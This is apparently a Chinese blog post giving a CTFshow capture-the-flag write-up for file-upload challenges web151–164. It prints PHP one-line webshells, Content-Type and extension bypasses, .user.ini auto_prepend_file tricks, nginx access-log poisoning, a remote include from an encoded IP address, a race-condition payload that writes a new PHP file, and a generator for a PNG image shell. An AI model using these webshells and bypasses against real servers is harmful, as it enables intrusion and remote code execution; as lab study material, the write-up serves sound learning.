CTFshow web入门vip 文件上传

web151

题目提示前端校验不可靠,看源码

可以看到是传到upload.php这个文件去接受文件上传,文件类型为图片,后缀限制为png

然后把前端验证修改一下,把文件后缀限制改成php

写个一句话木马传进去

1.php

<?php eval($_POST['x']);?>

url中需要加入我们传入文件的目录/upload.php,并指定/1.php这个文件,在这个文件下进行传参。

url:url/upload.php/1.php

post传参

  • x=system('ls');

  • x=system('ls ../');

  • x=system('tac ../flag.php');

得到flag

解法二:

通过抓包,修改传入的文件的后缀为png

web152

先改前端校验,参考web152,报错:

文件上传失败,失败原因:文件类型不合规

抓包看看,先看正常放一个png上去,是怎么个事

发现这里会把文件类型Content-Type发到后端进行校验,把这个正确的文件类型复制一下

把前端验证绕过把1.php传进去,把包抓下来

看到这个文件信息Content-Type: application/octet-stream把它改成image/png重放,就绕过后端校验了

后面的过程参考web151

web153

尝试了使用web152的方法(上传1.php抓包后修改请求头中的文件后缀名),发现文件可以上传,但是无法解析

.user.ini配置文件是PHP的,可以在全部环境里生效,而.htaccess配置文件是Apache特有

需要用到ini文件,把.user.ini这个文件传到/upload,让/upload目录下所有文件自动包含 1.png

上传.user.ini时发现有后缀限制,将其改为.user.png,再抓包后将文件名改回.user.ini就行

.user.ini 文件内容

 auto_prepend_file=1.png    #自动包含 1.png

传入1.png,里面写入一句话木马

payload:

也可以蚁剑连

https://cf506962-78c8-4f29-98bb-6a879729f3d3.challenge.ctf.show/upload/index.php

web154

对文件内容进行了过滤,过滤了php这个词条,换php代码标记

这里还试过了另外几种风格的php代码标记,如<%%>,发现都不行

其他的参照web153

尝试了使用web152的方法(上传1.php抓包后修改请求头中的文件后缀名),发现文件可以上传,但是无法解析

.user.ini配置文件是PHP的,可以在全部环境里生效,而.htaccess配置文件是Apache特有

需要用到ini文件,把.user.ini这个文件传到/upload,让/upload目录下所有文件自动包含 1.png

上传.user.ini时发现有后缀限制,将其改为.user.png,再抓包后将文件名改回.user.ini就行

.user.ini 文件内容

 auto_prepend_file=1.png    #自动包含 1.png

传入1.png,里面写入一句话木马

payload:

flag

web155

自带 .user.ini,但不影响,payload 与 web154 一致

对文件内容进行了过滤,过滤了php这个词条,换php代码标记

这里还试过了另外几种风格的php代码标记,如<%%>,发现都不行

其他的参照web153

尝试了使用web152的方法(上传1.php抓包后修改请求头中的文件后缀名),发现文件可以上传,但是无法解析

.user.ini配置文件是PHP的,可以在全部环境里生效,而.htaccess配置文件是Apache特有

需要用到ini文件,把.user.ini这个文件传到/upload,让/upload目录下所有文件自动包含 1.png

上传.user.ini时发现有后缀限制,将其改为.user.png,再抓包后将文件名改回.user.ini就行

.user.ini 文件内容

 auto_prepend_file=1.png    #自动包含 1.png

传入1.png,里面写入一句话木马

payload:

flag

web156

先将.user.ini上传上去,抓包改后缀

 auto_prepend_file=1.png    #自动包含 1.png

对 上传文件的**内容**过滤

修改1.png中的一句话木马

<?php --->换成 <?=

[] ---> 换成{}

payload:

<?php @eval($_POST{'x'});?>

web157

先将.user.ini上传上去,抓包改后缀

 auto_prepend_file=1.png    #自动包含 1.png

正则匹配过滤了很多东西如

分号; $_POST[' '] <?php

直接在一句话木马里调用直接读取flag的代码,不传参数

payload:

.user.ini:auto_prepend_file=1.png

1.png:<?=system('tac ../f*')?>

直接访问url/upload/即可

web158

payload同157

先将.user.ini上传上去,抓包改后缀

 auto_prepend_file=1.png    #自动包含 1.png

正则匹配过滤了很多东西如

分号; $_POST[' '] <?php

直接在一句话木马里调用直接读取flag的代码,不传参数

payload:

.user.ini:auto_prepend_file=1.png

1.png:<?=system('tac ../f*')?>

直接访问url/upload/即可

web159

先将.user.ini上传上去,抓包改后缀

 auto_prepend_file=1.png    #自动包含 1.png

过滤了括号,也就是说system()这种函数用不了了,那就用``执行运算符

payload:

1.png :

web160

``也被过滤了

用php内置的include函数包含默认路径的日志文件,包含并执行这个日志文件,而日志文件里存有UA,UA中有我们写好的php一句话木马,就会执行这个一句话木马

然后再去访问一个这个UA头里带有后门代码的日志文件,就会触发这个后门代码

.user.ini:

auto_prepend_file=1.png

1.png

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

这个是nginx默认缓存路径,做了绕过滤处理

这里需要再仔细了解一下

考点:还是过滤字符串 这里又过滤了**log** 字符串 所以使用拼接绕过

可以尝试 日志包含绕过 :

 <?=include"/var/lo"."g/nginx/access.lo"."g"?>

还是先上传.user.ini.png进行解析 然后包含/upload/index.php/ 然后服务器是nginx

知识点:nginx的默认日志路径是:/var/log/nginx/access.log

flag

web161

文件头检测

绕过这个检测机制需要我们在user.ini文件头加上GIF89A

对文件内容做了大量过滤如php代码标识:只允许形式,过滤‘’命令执行符号,过滤(),过滤[],等

经过尝试之后发现只能继续使用访问日志的方法

1.png :

GIF89A
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

web162

突破过滤.

对文件内容做了大量过滤如php代码标识:只允许形式,过滤‘’命令执行符号,过滤(),过滤[],等

这题还过滤了.也就是说访问日志的方法也不行了,无法对nginx默认缓存路径做绕过滤处理

在包含的经过了IP转换的文件中加入一句话木马

.user.ini

GIF89a

auto_prepend_file=png

png

GIF89a

\<?=include'http://151523133/''>

web163

对文件内容做了大量过滤如php代码标识:只允许形式,过滤‘’命令执行符号,过滤(),过滤[],等

这题还过滤了.也就是说访问日志的方法也不行了,无法对nginx默认缓存路径做绕过滤处理

在包含的经过了IP转换的文件中加入一句话木马

.user.ini

auto_prepend_file=png

png

GIF89a

\<?=include'http://151523133''>

index.txt 后门代码

png自动删除

规则:

1.都删除

2.后门代码删除

条件竞争:在上传成功,立马访问,,创建型代码(代码被执行后重新新建一个文件

<?php $f=fopen("7.php","w"); fputs($f,'<?php eval($_POST[7]);?>');?>

这里我们用条件竞争,在.user.ini中写入

auto_prepend_file=http://151523133/

然后直接访问/upload/再hackerbar rce就行

web164

二次渲染

当我们把图片上传图像上去之后,他进行了二次加工,这就叫二次渲染 这个过程就会造成payload失效

二次渲染判断:

  1. 判断文件上传前后的大小

  2. 判断文件后返回的数据包中特殊的标记

这里用别人写的php代码生成一个图片马

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./7.png');
?>
#<?=$_GET[0]($_POST[1]);?>

把这段代码放在小皮里跑一下,就会生成一个7.png在同目录中,将其上传

这题上传路径跟之前的稍有不同,注意一下,上传成功后点击查看可以看到这个路径的

/download.php?image=9eb9cd58b9ea5e04c890326b5c1f471f.png

其实也正是因为他是先访问download.php这个代码,然后请求包含image,才能让我们的png图片里的php代码能被解析,否则还是需要配合.user.ini文件才能解析png图片马

这是我们图片马中包含的一句话木马,get方式拿个参数0,post方式拿个参数1

<?=$_GET[0]($_POST[1]);?>

我一开始直接用的bp抓包,但是后来发现一直有点问题,可能是格式或者什么地方有要求

用hackerbar传参,但是没有回显

再用bp把这个包抓下来,成功回显flag

posted @ 2024-07-30 11:01  Sol_9  阅读(27)  评论(0编辑  收藏  举报